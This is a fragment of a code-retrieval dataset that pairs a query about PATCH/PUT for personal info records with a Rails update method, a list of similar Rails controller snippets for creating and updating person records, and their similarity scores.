"def save_personal_info(request, opts = {})\n save_personal_info_with_http_info(request, opts)\n return nil\n end",
"def new\n @personal = Personal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @personal }\n end\n end",
"def create\n @person = @account.people.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_information_personal\n @information_personal = InformationPersonal.find(params[:id])\n end",
"def create\n user_details = params.permit(:first_name, :last_name, :email)\n success = User.create(user_details)\n\n render json: { success: success }\n end",
"def create\n @sales_person_detail = SalesPersonDetail.new(sales_person_detail_params)\n\n if @sales_person_detail.save\n render :show, status: :created, location: @sales_person_detail\n else\n render json: @sales_person_detail.errors, status: :unprocessable_entity\n end\n end",
"def create\n @persona = Persona.find(params[:persona_id])\n @info_extra_paciente = @persona.info_extra_pacientes.new(info_extra_paciente_params)\n respond_to do |format|\n if @info_extra_paciente.save\n format.html { redirect_to @persona, notice: 'Informacion de Contacto agregada.' }\n format.json { render :show, status: :created, location: @persona }\n else\n format.html { render :new }\n format.json { render json: @persona.errors, status: :unprocessable_entity }\n end\n end\n end",
"def person_info_params\n params.require(:person_info).permit(:surname, :other_names, :person_type_id, :entity_id, :user_id, :active_status, :del_status, :full_name, :dob, :pd_sub, :reg_id, person_contact_infos_attributes: [ :id, :person_id, :contact_number, :email, :postal_address, :location_address, :comment, :user_id, :entity_id, :active_status, :del_status, :suburb_id, :_destroy ], users_attributes: [:id, :person_id, :email, :password, :password_confirmation, :profile, :profile_file_name, :profile_content_type, :profile_file_size, :profile_updated_at, :active_status, :del_status, :role_id ] ) \n end",
"def create\n @information = Information.new(information_params)\n\n if @information.save\n render json: :ok\n else\n render json: @information.errors, status: :unprocessable_entity\n end\n end",
"def create\n @member = Member.find(params[:member_id])\n\n @maritalinfo = @member.build_maritalinfo(maritalinfo_params)\n\n respond_to do |format|\n if @maritalinfo.save\n format.html { redirect_to new_member_professionalinfo_path(@maritalinfo.member.id), notice: 'Maritalinfo was successfully created.' }\n format.json { render :show, status: :created, location: @maritalinfo }\n else\n format.html { render :new }\n format.json { render json: @maritalinfo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @legal_spouse = LegalSpouse.new(legal_spouse_params)\n respond_to do |format|\n\n if @legal_spouse.save\n format.html { redirect_to staff_register3_path, notice: 'Personal detail was successfully created.' }\n format.json { render :show, status: :created, location: @legal_spouse }\n else\n format.html { render :new }\n format.json { render json: @legal_spouse.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @persona = Persona.find(params[:persona_id])\n @info_contacto = @persona.info_contactos.new(info_contacto_params)\n respond_to do |format|\n if @info_contacto.save\n format.html { redirect_to @persona, notice: 'Info contacto was successfully created.' }\n format.json { render :show, status: :created, location: @persona }\n else\n format.html { render :new }\n format.json { render json: @persona.errors, status: :unprocessable_entity }\n end\n end\n end",
"def general_info_params\n params.require(:general_info).permit(:first_name, :last_name, :month_ofbirth, :day_ofbirth, :year_ofbirth, :gender, :phone, :country, :state, :city, :compensation, :facebook_link, :linkedIn_link, :instagram_link, :personalWebsite_link, :bio, :specific_profile_id, :job_name, :profile_picture, :cover_picture, :gallery_pictures => [])\n end",
"def personnel_params\n params.permit(:first_name, :last_name, :phone_number, :title, :email, :is_verified)\n end",
"def create\n @person_interest = PersonInterest.new(params[:person_interest])\n\n respond_to do |format|\n if @person_interest.save\n format.html { redirect_to @person_interest, notice: 'Person interest was successfully created.' }\n format.json { render json: @person_interest, status: :created, location: @person_interest }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person_interest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @personalinfo.update(personalinfo_params)\n format.html { redirect_to member_path(@personalinfo.member.id), notice: 'Personalinfo was successfully updated.' }\n format.json { render :show, status: :ok, location: @personalinfo }\n else\n format.html { render :edit }\n format.json { render json: @personalinfo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @information_personals = InformationPersonal.find_by(user_id: current_user.id)\n \n if !@information_personals\n redirect_to new_information_personal_path\n end\n end",
"def set_user_personal_information\n @user_personal_information = User::PersonalInformation.find(params[:id])\n end",
"def new\n @personal_characteristic = PersonalCharacteristic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @personal_characteristic }\n end\n end",
"def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html do\n redirect_to people_url, notice: 'Person was successfully created.'\n end\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json do\n render json: @person.errors, status: :unprocessable_entity\n end\n end\n end\n end",
"def create\n @info_practice = InfoPractice.new(info_practice_params)\n\n respond_to do |format|\n if @info_practice.save\n format.html { redirect_to info_practices_url, notice: 'Info practice was successfully created.' }\n format.json { render :show, status: :created, location: @info_practice }\n else\n format.html { render :new }\n format.json { render json: @info_practice.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lab_user_info = LabUserInfo.new(lab_user_info_params)\n\n respond_to do |format|\n if @lab_user_info.save\n format.html { redirect_to @lab_user_info, notice: 'Lab user info was successfully created.' }\n format.json { render :show, status: :created, location: @lab_user_info }\n else\n format.html { render :new }\n format.json { render json: @lab_user_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expertise = Expertise.new(expertise_params)\n\n if @expertise.save\n render json: @expertise, status: :created, location: @expertise\n else\n render json: @expertise.errors, status: :unprocessable_entity\n end\n end",
"def create\n @profile_general_detail = ProfileGeneralDetail.new(profile_general_detail_params)\n\n respond_to do |format|\n if @profile_general_detail.save\n format.html { redirect_to @profile_general_detail, notice: 'Profile general detail was successfully created.' }\n format.json { render :show, status: :created, location: @profile_general_detail }\n else\n format.html { render :new }\n format.json { render json: @profile_general_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person = Person.new\n \tpopulate_attributes(@person, params[:person])\n \n respond_to do |format|\n if @person.save\n @person = Person.find(@person.id)\n populate_attributes(@person, params[:person])\n @person.save\n\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @user_person = UserPerson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_person }\n end\n end",
"def create \n @person = Person.new(person_params)\n respond_to do |format|\n if @person.save!\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to people_path, notice: 'Person was successfully created.' }\n format.json { render action: 'show', status: :created, location: @person }\n else\n format.html { render action: 'new' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person = Person.new(params[:person].merge :creator_site_id => Site.current_id)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to(@person, :notice => 'Person was successfully created.') }\n format.xml { render :xml => @person, :status => :created, :location => @person }\n format.json { render :json => @person, :status => :created, :location => @person }\n else\n status = @person.errors.delete(:status) || :unprocessable_entity\n\n format.html { render :action => 'new' }\n format.xml { render :xml => @person.errors, :status => status }\n format.json { render :json => @person.errors, :status => status }\n end\n end\n end",
"def create\n # @person = Person.new(params[:person])\n @person = Person.create(params[:person].merge(:user => current_user))\n # @person.pct_complete = @person.requirement_progress\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, :notice => 'Person was successfully created.' }\n format.json { render :json => @person, :status => :created, :location => @person }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @person.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @user_personal_information.update(user_personal_information_params)\n format.html { redirect_to @user_personal_information, notice: 'Personal information was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_personal_information }\n else\n format.html { render :edit }\n format.json { render json: @user_personal_information.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @info_request = InfoRequest.new(info_request_params)\n\n respond_to do |format|\n if @info_request.save\n format.html { redirect_to @info_request, notice: 'Solicitud de información enviada.' }\n format.json { render :show, status: :created, location: @info_request }\n else\n format.html { render :new }\n format.json { render json: @info_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def person_params\n params.require(:person).permit(:first_name, :last_name, :email, :notes)\n end",
"def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: \"#{@person.name} was successfully created.\" }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n objective = params[:objective]\n team_key_result_id = params[:team_key_result_id]\n status = PersonalObjective.new_personal_objective(objective, team_key_result_id, current_user.id)\n respond_to do |format| \n if status == 200\n format.json { render json: 'Personal Objective is created successfully!', status: :ok }\n else\n format.json { render json: 'Personal Objective must be more than 5 characters!', status: :ok }\n end\n end\n end",
"def create\n @personal_finance = PersonalFinance.new(personal_finance_params)\n\n respond_to do |format|\n if @personal_finance.save\n format.html { redirect_to @personal_finance, notice: 'Personal finance was successfully created.' }\n format.json { render action: 'show', status: :created, location: @personal_finance }\n else\n format.html { render action: 'new' }\n format.json { render json: @personal_finance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @personaje_mision = PersonajeMision.new(params[:personaje_mision])\n\n respond_to do |format|\n if @personaje_mision.save\n format.html { redirect_to @personaje_mision, notice: 'Personaje mision was successfully created.' }\n format.json { render json: @personaje_mision, status: :created, location: @personaje_mision }\n else\n format.html { render action: \"new\" }\n format.json { render json: @personaje_mision.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.7927793",
"0.7889763",
"0.7281096",
"0.7254106",
"0.71513087",
"0.69870514",
"0.6960742",
"0.69475466",
"0.694264",
"0.6902676",
"0.6899883",
"0.687479",
"0.6846886",
"0.67692035",
"0.6696551",
"0.6696468",
"0.6673107",
"0.6639486",
"0.6588965",
"0.6565874",
"0.64840174",
"0.64389807",
"0.64137596",
"0.639016",
"0.6384477",
"0.63826716",
"0.6333506",
"0.628807",
"0.6277081",
"0.62555814",
"0.6251384",
"0.6233315",
"0.62283725",
"0.61984015",
"0.6194399",
"0.6191197",
"0.6179311",
"0.61744165",
"0.61517453",
"0.6139667",
"0.6072451",
"0.60596526",
"0.6053579",
"0.60486495",
"0.6024513",
"0.6021197",
"0.59942436",
"0.5984593",
"0.5977839",
"0.59755903",
"0.5958189",
"0.5958118",
"0.59565836",
"0.59503007",
"0.59484863",
"0.5942781",
"0.59401786",
"0.5922416",
"0.5891861",
"0.5891861",
"0.5890584",
"0.5888816",
"0.5888816",
"0.58873045",
"0.58541274",
"0.5853287",
"0.5850735",
"0.58491236",
"0.5843122",
"0.58188874",
"0.5812995",
"0.5802735",
"0.5801363",
"0.5801097",
"0.5797905",
"0.57924694",
"0.57921886",
"0.5789331",
"0.57700795",
"0.57699454",
"0.5757814",
"0.57387465",
"0.5731092",
"0.573076",
"0.5729016",
"0.57273006",
"0.5717491",
"0.5714924",
"0.57092524",
"0.5708762",
"0.5707856",
"0.5707049",
"0.5703188",
"0.5692651",
"0.5688029",
"0.5688013",
"0.56851125",
"0.5681892",
"0.5671351",
"0.56641984"
] | 0.76345265 | 2 |
PATCH/PUT /personal_infos/1 PATCH/PUT /personal_infos/1.json | def update
@personal_info = PersonalInfo.find(params[:id])
@personal_info.assign_attributes(personal_info_params)
@user = User.find(session[:user_id])
@personal_info.users_id = session[:user_id]
if @personal_info.save
respond_to do |format|
success = 'Student info updated successfully'
format.html { redirect_to @user, success: success }
format.json { render json: {status: :ok, message: success} }
end
else
respond_to do |format|
format.html { render('edit') }
format.json { render json: { status: :unprocessable_entity, message: @student.errors.full_messages } }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n user = current_user\n @personal_info = user.personal_info\n\n respond_to do |format|\n if @personal_info.update_attributes(params[:personal_info])\n format.html { redirect_to user_path notice: 'Personal info was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @personal_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @personal_info = current_user.personal_info\n\n respond_to do |format|\n if @personal_info.update_attributes(params[:personal_info])\n format.html { redirect_to user_path(current_user), notice: 'Personal info was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @personal_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @personalinfo.update(personalinfo_params)\n format.html { redirect_to member_path(@personalinfo.member.id), notice: 'Personalinfo was successfully updated.' }\n format.json { render :show, status: :ok, location: @personalinfo }\n else\n format.html { render :edit }\n format.json { render json: @personalinfo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person_info = PersonInfo.find(params[:id])\n\n if @person_info.update(person_info_params(params[:person_info]))\n head :no_content\n else\n render json: @person_info.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @profile_personal_detail.update(profile_personal_detail_params)\n format.html { redirect_to @profile_personal_detail, notice: 'Profile personal detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @profile_personal_detail }\n else\n format.html { render :edit }\n format.json { render json: @profile_personal_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @information_personal.update(information_personal_params)\n format.html { redirect_to @information_personal, notice: t('personal_info.update_message') }\n format.json { render :show, status: :ok, location: @information_personal }\n else\n format.html { render :edit }\n format.json { render json: @information_personal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @user_personal_information.update(user_personal_information_params)\n format.html { redirect_to @user_personal_information, notice: 'Personal information was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_personal_information }\n else\n format.html { render :edit }\n format.json { render json: @user_personal_information.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @personal.update(personal_params)\n format.html { redirect_to new_contact_path, notice: 'Personal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @personal.errors, status: :unprocessable_entity }\n end\n format.js\n end\n end",
"def update\n @personal = Personal.find(params[:id])\n\n respond_to do |format|\n if @personal.update_attributes(params[:personal])\n format.html { redirect_to(@personal, :notice => 'Personal was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @personal.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @personal_account = PersonalAccount.find(params[:id])\n\n respond_to do |format|\n if @personal_account.update_attributes(params[:personal_account])\n format.html { redirect_to @personal_account, :notice => 'Personal account was successfully updated.' }\n # format.json { head :ok }\n format.json {render :json => {:data => @personal_account , :success => true } }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @personal_account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id]) \n respond_to do |format|\n if @person.update(person_params)\n format.json { render json: @person, status: :ok }\n else\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n populate_attributes(@person, params[:person])\n respond_to do |format|\n \n if @person.save && @person.identifiable_entries.each(&:save!)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_by_body\n @person = Person.find(person_update_params[:id])\n\n if @person.update_attributes(person_update_params)\n render json: { status: 'PUT Success' }, status: :ok\n else\n render json: { status: 'Error', message:'Error updating person', person: @person.errors }, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @datos_personal.update(datos_personal_params)\n format.html { redirect_to @datos_personal, notice: 'Datos personal was successfully updated.' }\n format.json { render :show, status: :ok, location: @datos_personal }\n else\n format.html { render :edit }\n format.json { render json: @datos_personal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @employee_personal.update(employee_personal_params)\n format.html { redirect_to @employee_personal, notice: 'Employee personal was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee_personal }\n else\n format.html { render :edit }\n format.json { render json: @employee_personal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @personal_profile.update(personal_profile_params)\n format.html { redirect_to resume_path, notice: 'Your Personal profile was successfully updated.' }\n format.json { render :show, status: :ok, location: resume_path }\n else\n format.html { render :edit }\n format.json { render json: @personal_profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if request.content_type == \"application/json\"\n # .update is like a \"update people set ...\" in sql\n if @person.update(person_params)\n render json: @person\n else\n render json: @person.errors, status: :not_found\n end\n else\n render status: :bad_request\n end\n end",
"def update\n @persona = Persona.find(params[:id])\n \n respond_to do |format|\n if @persona.update_attributes(params[:persona])\n format.json { head :ok }\n else\n format.json { render :json => @persona.errors,\n :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @general_information = GeneralInformation.find(params[:id])\n\n respond_to do |format|\n if @general_information.update_attributes(params[:general_information])\n format.html { redirect_to @general_information.personal_detail, notice: 'General information was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @general_information.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n errors = {}\n if ! ensure_same_as_logged_person(params['user_id'])\n render_json :status => :forbidden and return\n end\n @person = Person.find_by_guid(params['user_id'])\n if ! @person\n render_json :status => :not_found and return\n end\n if params[:person]\n begin\n if @person.json_update_attributes(params[:person])\n render_json :entry => @person.to_hash(@user, @client) and return\n end\n rescue NoMethodError => e\n errors = e.to_s\n end\n end\n\n render_json :status => :bad_request, :messages => @person.errors.full_messages\n @person = nil\n end",
"def update\n @contact = Contact.find(params[:id])\n @contact.person_id = nil if params[:contact][:person_name].present?\n respond_to do |format|\n if @contact.update_attributes(params[:contact].merge(:updated_by => current_user.id))\n format.html { redirect_to client_contacts_path(@firm), :notice => \"#{ Contact.model_name.human } успешно изменен.\"}\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to people_path, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: t('.update_ok') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @person.update(person_params)\n render :show, status: :ok, location: api_v1_person_url(@person)\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @request_person.update(request_person_params)\n format.html { redirect_to @request_person, notice: 'Request person was successfully updated.' }\n format.json { render :show, status: :ok, location: @request_person }\n else\n format.html { render :edit }\n format.json { render json: @request_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user_person = UserPerson.find(params[:id])\n\n respond_to do |format|\n if @user_person.update_attributes(params[:user_person])\n format.html { redirect_to @user_person, notice: 'User person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person_type_masters = PersonTypeMaster.all\n @user = User.find_by_person_id(params[:id])\n logger.info \"The selected user -s #{@user.inspect}\"\n respond_to do |format|\n if @person_info.update(person_info_params)\n format.js { flash.now[:notice] = \"Personnel was successfully updated.\" }\n format.html { redirect_to current_user, notice: 'Person info was successfully updated.' }\n format.json { render :show, status: :ok, location: @person_info }\n else\n @person_type_masters = PersonTypeMaster.all\n format.js {render :edit}\n format.html { render :edit }\n format.json { render json: @person_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n if @person.update_attributes(person_params)\n render :json => @person\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n\n end",
"def update\n respond_to do |format|\n if @personal_datum.update(personal_datum_params)\n format.html { redirect_to user_personal_datum_path(id: @personal_datum.id), notice: 'Personal datum was successfully updated.' }\n format.json { render :show, status: :ok, location: @personal_datum }\n else\n format.html { render :edit }\n format.json { render json: @personal_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @person.update(person_params)\n render :show, status: :ok, location: api_v2_person_url(@person)\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @person.update(person_params)\n render :show, status: :ok, location: api_v2_person_url(@person)\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end",
"def update\n # @person = Person.find(params[:id])\n # @person.pct_complete = @person.requirement_progress\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, :notice => 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @person.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id]) \n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: \"#{@person.display_name} Person was successfully updated.\" }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @persona = Persona.find(params[:id])\n\n respond_to do |format|\n if @persona.update_attributes(params[:persona])\n format.html { redirect_to personas_path, notice: 'Persona was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @persona.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @expert_personal = ExpertPersonal.find(params[:id])\n\n #respond_to do |format|\n if @expert_personal.update_attributes(params[:expert_personal])\n flash[:notice] = 'ExpertPersonal was successfully updated.'\n redirect_to('/expert_companies')\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @expert_personal.errors, :status => :unprocessable_entity }\n end\n #end\n end",
"def update\n @contactinfo = Contactinfo.find(params[:id])\n\n respond_to do |format|\n if @contactinfo.update_attributes(params[:contactinfo])\n format.html { redirect_to person_path(@contactinfo.people_id), :notice => 'Contactinfo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @contactinfo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n @person = @profissional.person\n if @person.update(profissional_params[:person_attributes])\n if profissional_params[:specialization].present?\n @profissional.update_attributes(:specialization => profissional_params[:specialization])\n format.html { redirect_to @profissional, notice: 'Profissional was successfully updated.' }\n format.json { render :show, status: :ok, location: @profissional }\n else\n format.html { render :edit }\n format.json { render json: @profissional.errors, status: :unprocessable_entity }\n end\n\n end\n end\n end",
"def update\n @person_interest = PersonInterest.find(params[:id])\n\n respond_to do |format|\n if @person_interest.update_attributes(params[:person_interest])\n format.html { redirect_to @person_interest, notice: 'Person interest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person_interest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #@personal_info = PersonalInfo.find(params[:id])\n @personal_info = @form.personal_info\n\n respond_to do |format|\n if @personal_info.update_attributes(params[:personal_info])\n #flash[:notice] = 'PersonalInfo was successfully updated.'\n #format.html { redirect_to(@personal_info) }\n @filing_info = @form.filing_info\n format.html {redirect_to :controller=>'filing_infos', :action=>'edit', :id => @filing_info.id}\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @personal_info.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @personaje = Personaje.find(params[:id])\n\n respond_to do |format|\n if @personaje.update_attributes(params[:personaje])\n format.html { redirect_to @personaje, notice: 'Personaje was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @personaje.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @suspicious_person_info.update(suspicious_person_info_params)\n format.html { redirect_to @suspicious_person_info, notice: 'Suspicious person info was successfully updated.' }\n format.json { render :show, status: :ok, location: @suspicious_person_info }\n else\n format.html { render :edit }\n format.json { render json: @suspicious_person_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Данные клиента обновлены.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person.update_attributes(params[:person])\n respond_with(@person)\n end",
"def update\n respond_to do |format|\n if @personal_rubro.update(personal_rubro_params)\n format.html { redirect_to @personal_rubro, notice: 'Personal rubro was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @personal_rubro.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @people.update(people_params)\n format.html { redirect_to root_path(@people), notice: 'VIP ' + @people.name.to_s + ' foi atualizado com sucesso!' }\n format.json { render :show, status: :ok, location: @people }\n else\n format.html { render :edit }\n format.json { render json: @people.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: \"#{@person.name} was successfully updated.\" }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n track_activity @person\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render layout: 'form', action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @persona = Persona.find(params[:id])\n #@persona = Persona.find(:all, :conditions => {:screen_name => params[:id] }).first\n\n respond_to do |format|\n if @persona.update_attributes(params[:persona])\n format.html { redirect_to persona_path(@persona.screen_name), notice: 'Persona was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @persona.errors, status: :unprocessable_entity }\n end\n end\n end",
